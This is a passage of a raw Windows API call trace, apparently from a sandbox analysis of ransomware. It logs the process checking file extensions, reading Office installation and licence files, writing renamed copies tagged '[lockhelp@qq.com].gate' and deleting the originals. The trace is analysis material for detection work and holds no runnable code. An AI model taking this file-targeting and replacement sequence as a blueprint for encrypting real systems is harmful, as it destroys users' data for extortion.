[0309.313] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0309.313] lstrlenW (lpString=".xls") returned 4 [0309.313] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0309.313] lstrlenW (lpString=".xlsx") returned 5 [0309.313] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0309.313] lstrlenW (lpString=".ppt") returned 4 [0309.313] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0309.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0309.313] lstrlenW (lpString=".zip") returned 4 [0309.313] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0309.313] lstrlenW (lpString=".rar") returned 4 [0309.313] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0309.314] lstrlenW (lpString=".bz2") returned 4 [0309.314] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0309.314] lstrlenW (lpString=".7z") returned 3 [0309.314] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0309.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0309.314] lstrlenW (lpString=".dbf") returned 4 [0309.314] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0309.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0309.314] lstrlenW (lpString=".1cd") returned 4 [0309.314] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0309.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0309.314] lstrlenW (lpString=".jpg") returned 4 [0309.314] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0312.445] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=595977) returned 1 [0312.445] CloseHandle (hObject=0x528) returned 1 [0312.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu")) returned 0x220 [0312.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0312.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0312.448] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0312.448] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0312.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0312.494] GetLastError () returned 0x0 [0312.494] ReadFile (in: hFile=0x528, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x91809, lpOverlapped=0x0) returned 1 [0313.309] WriteFile (in: hFile=0x538, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x91810, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x91810, lpOverlapped=0x0) returned 1 [0313.327] ReadFile (in: hFile=0x528, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0313.327] WriteFile (in: hFile=0x538, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x10c, lpOverlapped=0x0) returned 1 [0313.327] SetEndOfFile (hFile=0x538) returned 1 [0313.328] CloseHandle (hObject=0x538) returned 1 [0313.328] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0313.328] SetEndOfFile (hFile=0x528) returned 1 [0313.342] CloseHandle (hObject=0x528) returned 1 [0313.343] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0313.344] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8.1-kb2999226-x86.msu")) returned 1 [0313.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0313.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0313.345] lstrlenW (lpString=".doc") returned 4 [0313.345] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0313.345] lstrlenW (lpString=".docx") returned 5 [0313.345] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0313.345] lstrlenW (lpString=".pdf") returned 4 [0313.345] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0313.345] lstrlenW (lpString=".xls") returned 4 [0313.345] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0313.345] lstrlenW (lpString=".xlsx") returned 5 [0313.345] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0313.345] lstrlenW (lpString=".ppt") returned 4 [0313.345] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0313.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0313.345] lstrlenW (lpString=".zip") returned 4 [0313.345] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0313.345] lstrlenW (lpString=".rar") returned 4 [0313.346] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0313.346] lstrlenW (lpString=".bz2") returned 4 [0313.346] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0313.346] lstrlenW (lpString=".7z") returned 3 [0313.346] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0313.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0313.346] lstrlenW (lpString=".dbf") returned 4 [0313.346] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0313.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0313.346] lstrlenW (lpString=".1cd") returned 4 [0313.346] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0313.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8.1-KB2999226-x86.msu") returned 79 [0313.346] lstrlenW (lpString=".jpg") returned 4 [0313.346] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0313.884] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=10631) returned 1 [0313.884] CloseHandle (hObject=0x4f0) returned 1 [0313.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms")) returned 0x220 [0313.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0313.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0313.931] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0313.931] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0313.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0313.932] GetLastError () returned 0x0 [0313.932] ReadFile (in: hFile=0x4b0, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x2987, lpOverlapped=0x0) returned 1 [0314.026] WriteFile (in: hFile=0x52c, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x2990, lpOverlapped=0x0) returned 1 [0314.027] ReadFile (in: hFile=0x4b0, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0314.027] WriteFile (in: hFile=0x52c, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x104, lpOverlapped=0x0) returned 1 [0314.028] SetEndOfFile (hFile=0x52c) returned 1 [0314.028] CloseHandle (hObject=0x52c) returned 1 [0314.028] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0314.028] SetEndOfFile (hFile=0x4b0) returned 1 [0314.043] CloseHandle (hObject=0x4b0) returned 1 [0314.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0314.044] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms")) returned 1 [0314.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0314.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0314.044] lstrlenW (lpString=".doc") returned 4 [0314.044] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0314.044] lstrlenW (lpString=".docx") returned 5 [0314.044] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0314.044] lstrlenW (lpString=".pdf") returned 4 [0314.044] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0314.044] lstrlenW (lpString=".xls") returned 4 [0314.045] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0314.045] lstrlenW (lpString=".xlsx") returned 5 [0314.045] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0314.045] lstrlenW (lpString=".ppt") returned 4 [0314.045] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0314.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0314.045] lstrlenW (lpString=".zip") returned 4 [0314.045] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0314.045] lstrlenW (lpString=".rar") returned 4 [0314.045] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0314.045] lstrlenW (lpString=".bz2") returned 4 [0314.045] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0314.045] lstrlenW (lpString=".7z") returned 3 [0314.045] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0314.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0314.045] lstrlenW (lpString=".dbf") returned 4 [0314.045] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0314.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0314.045] lstrlenW (lpString=".1cd") returned 4 [0314.045] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0314.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0314.045] lstrlenW (lpString=".jpg") returned 4 [0314.045] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0314.045] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=20901) returned 1 [0314.046] CloseHandle (hObject=0x4b0) returned 1 [0314.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms")) returned 0x220 [0314.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0314.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0314.046] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0314.046] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0314.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0314.047] GetLastError () returned 0x0 [0314.047] ReadFile (in: hFile=0x4b0, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x51a5, lpOverlapped=0x0) returned 1 [0314.207] WriteFile (in: hFile=0x4e8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x51b0, lpOverlapped=0x0) returned 1 [0314.208] ReadFile (in: hFile=0x4b0, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0314.208] WriteFile (in: hFile=0x4e8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x104, lpOverlapped=0x0) returned 1 [0314.208] SetEndOfFile (hFile=0x4e8) returned 1 [0314.355] CloseHandle (hObject=0x4e8) returned 1 [0314.356] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0314.356] SetEndOfFile (hFile=0x4b0) returned 1 [0314.805] CloseHandle (hObject=0x4b0) returned 1 [0314.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0314.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms")) returned 1 [0314.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0314.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0314.945] lstrlenW (lpString=".doc") returned 4 [0314.945] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0314.945] lstrlenW (lpString=".docx") returned 5 [0314.945] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0314.945] lstrlenW (lpString=".pdf") returned 4 [0314.945] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0314.945] lstrlenW (lpString=".xls") returned 4 [0314.945] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0314.945] lstrlenW (lpString=".xlsx") returned 5 [0314.945] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0314.945] lstrlenW (lpString=".ppt") returned 4 [0314.945] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0314.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0314.945] lstrlenW (lpString=".zip") returned 4 [0314.945] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0314.945] lstrlenW (lpString=".rar") returned 4 [0314.945] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0314.945] lstrlenW (lpString=".bz2") returned 4 [0314.945] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0314.945] lstrlenW (lpString=".7z") returned 3 [0314.945] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0314.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0314.945] lstrlenW (lpString=".dbf") returned 4 [0314.945] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0314.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0314.945] lstrlenW (lpString=".1cd") returned 4 [0314.945] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0314.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0314.945] lstrlenW (lpString=".jpg") returned 4 [0314.945] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0314.946] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=9606) returned 1 [0314.946] CloseHandle (hObject=0x4f4) returned 1 [0314.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms")) returned 0x220 [0314.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0314.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0314.947] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0314.947] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0314.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0314.947] GetLastError () returned 0x0 [0314.947] ReadFile (in: hFile=0x4f4, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x2586, lpOverlapped=0x0) returned 1 [0314.981] WriteFile (in: hFile=0x4c0, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x2590, lpOverlapped=0x0) returned 1 [0314.982] ReadFile (in: hFile=0x4f4, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0314.982] WriteFile (in: hFile=0x4c0, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x10e, lpOverlapped=0x0) returned 1 [0314.982] SetEndOfFile (hFile=0x4c0) returned 1 [0314.986] CloseHandle (hObject=0x4c0) returned 1 [0314.996] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0314.996] SetEndOfFile (hFile=0x4f4) returned 1 [0315.011] CloseHandle (hObject=0x4f4) returned 1 [0315.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.103] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms")) returned 1 [0315.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0315.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0315.110] lstrlenW (lpString=".doc") returned 4 [0315.110] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0315.110] lstrlenW (lpString=".docx") returned 5 [0315.110] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0315.110] lstrlenW (lpString=".pdf") returned 4 [0315.110] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0315.110] lstrlenW (lpString=".xls") returned 4 [0315.110] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0315.110] lstrlenW (lpString=".xlsx") returned 5 [0315.110] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0315.110] lstrlenW (lpString=".ppt") returned 4 [0315.110] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0315.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0315.110] lstrlenW (lpString=".zip") returned 4 [0315.110] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0315.110] lstrlenW (lpString=".rar") returned 4 [0315.110] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0315.110] lstrlenW (lpString=".bz2") returned 4 [0315.110] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0315.110] lstrlenW (lpString=".7z") returned 3 [0315.110] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0315.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0315.110] lstrlenW (lpString=".dbf") returned 4 [0315.110] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0315.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0315.110] lstrlenW (lpString=".1cd") returned 4 [0315.111] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0315.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0315.111] lstrlenW (lpString=".jpg") returned 4 [0315.111] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0315.111] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=3380) returned 1 [0315.111] CloseHandle (hObject=0x404) returned 1 [0315.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms")) returned 0x220 [0315.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 